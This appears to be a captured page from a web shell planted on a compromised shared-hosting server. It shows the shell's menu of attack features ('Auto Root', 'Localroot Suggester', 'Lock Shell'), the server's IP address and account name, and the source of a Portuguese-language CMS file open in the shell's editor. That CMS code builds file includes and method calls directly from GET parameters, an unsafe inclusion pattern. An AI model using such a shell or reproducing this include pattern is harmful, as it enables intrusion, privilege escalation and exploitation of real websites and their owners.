Linux 186-227-203-186.cprapid.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
Apache
Server IP : 186.227.203.186 & Your IP : 216.73.217.146
Domains : 154 Domain
User : pmcaxingo
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
pmcaxingo /
public_html /
olddimon /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2023-08-24 16:32
cgi-bin
[ DIR ]
drwxr-xr-x
2026-04-07 21:23
controllers
[ DIR ]
drwxr-xr-x
2023-08-24 16:32
css
[ DIR ]
drwxr-xr-x
2023-08-24 16:32
img
[ DIR ]
drwxr-xr-x
2023-08-24 16:32
js
[ DIR ]
drwxr-xr-x
2023-08-24 16:32
lib
[ DIR ]
drwxr-xr-x
2023-08-24 16:32
midea
[ DIR ]
drwxr-xr-x
2023-10-21 01:37
views
[ DIR ]
drwxr-xr-x
2026-04-07 19:39
.htaccess
1.56
KB
-rw-r--r--
2023-11-02 06:13
.user.ini
584
B
-rw-r--r--
2023-08-24 16:38
index.php
4.23
KB
-rw-r--r--
2023-08-24 16:32
login.php
143
B
-rw-r--r--
2023-08-24 16:32
php.ini
656
B
-rw-r--r--
2023-08-24 16:38
Save
Rename
<? session_start(); include"./controllers/DBController.php"; include"./controllers/DimonController.php"; include"./controllers/UsuarioController.php"; include "./controllers/gestor_bd.php"; ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html"> <title>Dimon - Gerenciador de websites</title> <!-- LIB ---> <script src="//cdn.ckeditor.com/4.14.1/standard/ckeditor.js"></script> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"> <script src="https://code.jquery.com/jquery-1.11.1.min.js"></script> <script src="https://use.fontawesome.com/bcd9de9bc8.js"></script> <!-- JS ---> <script src='/js/mascaras.js'></script> <!-- CSS ---> <link href="-/css/index.css" rel="stylesheet" type="text/css"></link> <style> button, .btn{ border-radius : 0px !important; } *{ padding: 0; margin: 0; } html, body{ font-size: 12px; background : #eee; } h1{ font-weight: 100; border-bottom: 1px solid #eee; } form > div{ margin: 8px 0; } .main{ width: 1000px; margin: auto; background : #fff; } .main section{ display: block; width : 100%; padding: 8px; border-top : 1px solid #ccc; margin-top : 8px; } .main section.header{ display : flex; width : 100%; background : #ddd; } .main section.header div{ align-self: center; } section nav{ display : flex; flex-direction: row; } section nav a{ text-align: center; flex: 1; text-decoration : none !important; border-left: 1px solid #666; color: #666; padding: 13px 0; } section nav a:first-child{ border-left: 0px; } section nav a:hover{ background: #666; color : white; } section nav a i{ font-size: 2em !important; display : block !important; } .count-pages{ text-align : center; } </style> </head> <body> <div class="main"> <?php //require_once('/controllers/gestor_bd.php'); function content(){ // var_dump($_GET); $controller = $_GET["controller"] . "Controller"; $function = $_GET["function"]; $parametro = $_GET["parametro"]; include_once"./controllers/$controller.php"; $_controller = new $controller; $_controller -> $function($parametro); } if($_SESSION["acesso"]){ if($_GET and !$_POST){ ?> <section class="header"> <div style="flex-grow: 8"> <h1>Gerenciador de conteúdo</h1> </div> <div> Data: <?= date("d/m/Y") ?> | Usuário: <?= $_SESSION["usuario"] ?> </div> <div> <a class='btn btn-danger' href="/Usuario/logout">Sair</a> </div> </section> <section> <nav> <a href="/Publicacao/noticiaList" data-icon="fa fa-newspaper-o">Publicações</a> <a href="/Publicacao/paginaList" data-icon="fa fa-files-o">Páginas</a> </nav> </section> <section> <? content(); ?> </section> <script> $("nav a").each( function(){ icon = $(this).attr("data-icon"); $(this).prepend("<i class='"+icon+"' aria-hidden='true'></i>"); } ) </script> <? } if($_POST){ content(); } } else{ $_user = new UsuarioController; if(!$_POST){ ?> <section style="margin-top: 300px; text-align: center;"> <h1>Dimon 1.2/2020</h1> <? $_user -> login(); ?> </section> <? } else $_user -> autenticar(); } ?> </div> </body> </html> <script> $( document ).ready(function() { var teste = $(".ind-page").first().click(); //console.log(teste); }); $(".ind-page").click(function() { var init = $(this).attr("id").split('-')[0]; var limit = $(this).attr("id").split('-')[1]; $(".row-pub").each(function( index ) { var count = parseInt(init); for(count; count <= limit ; count +=1){ if($(this).attr("id") == count){ $(this).show(); return; //console.log("igual"); }else{ $(this).hide(); //console.log("diferente"); } } }); }); </script>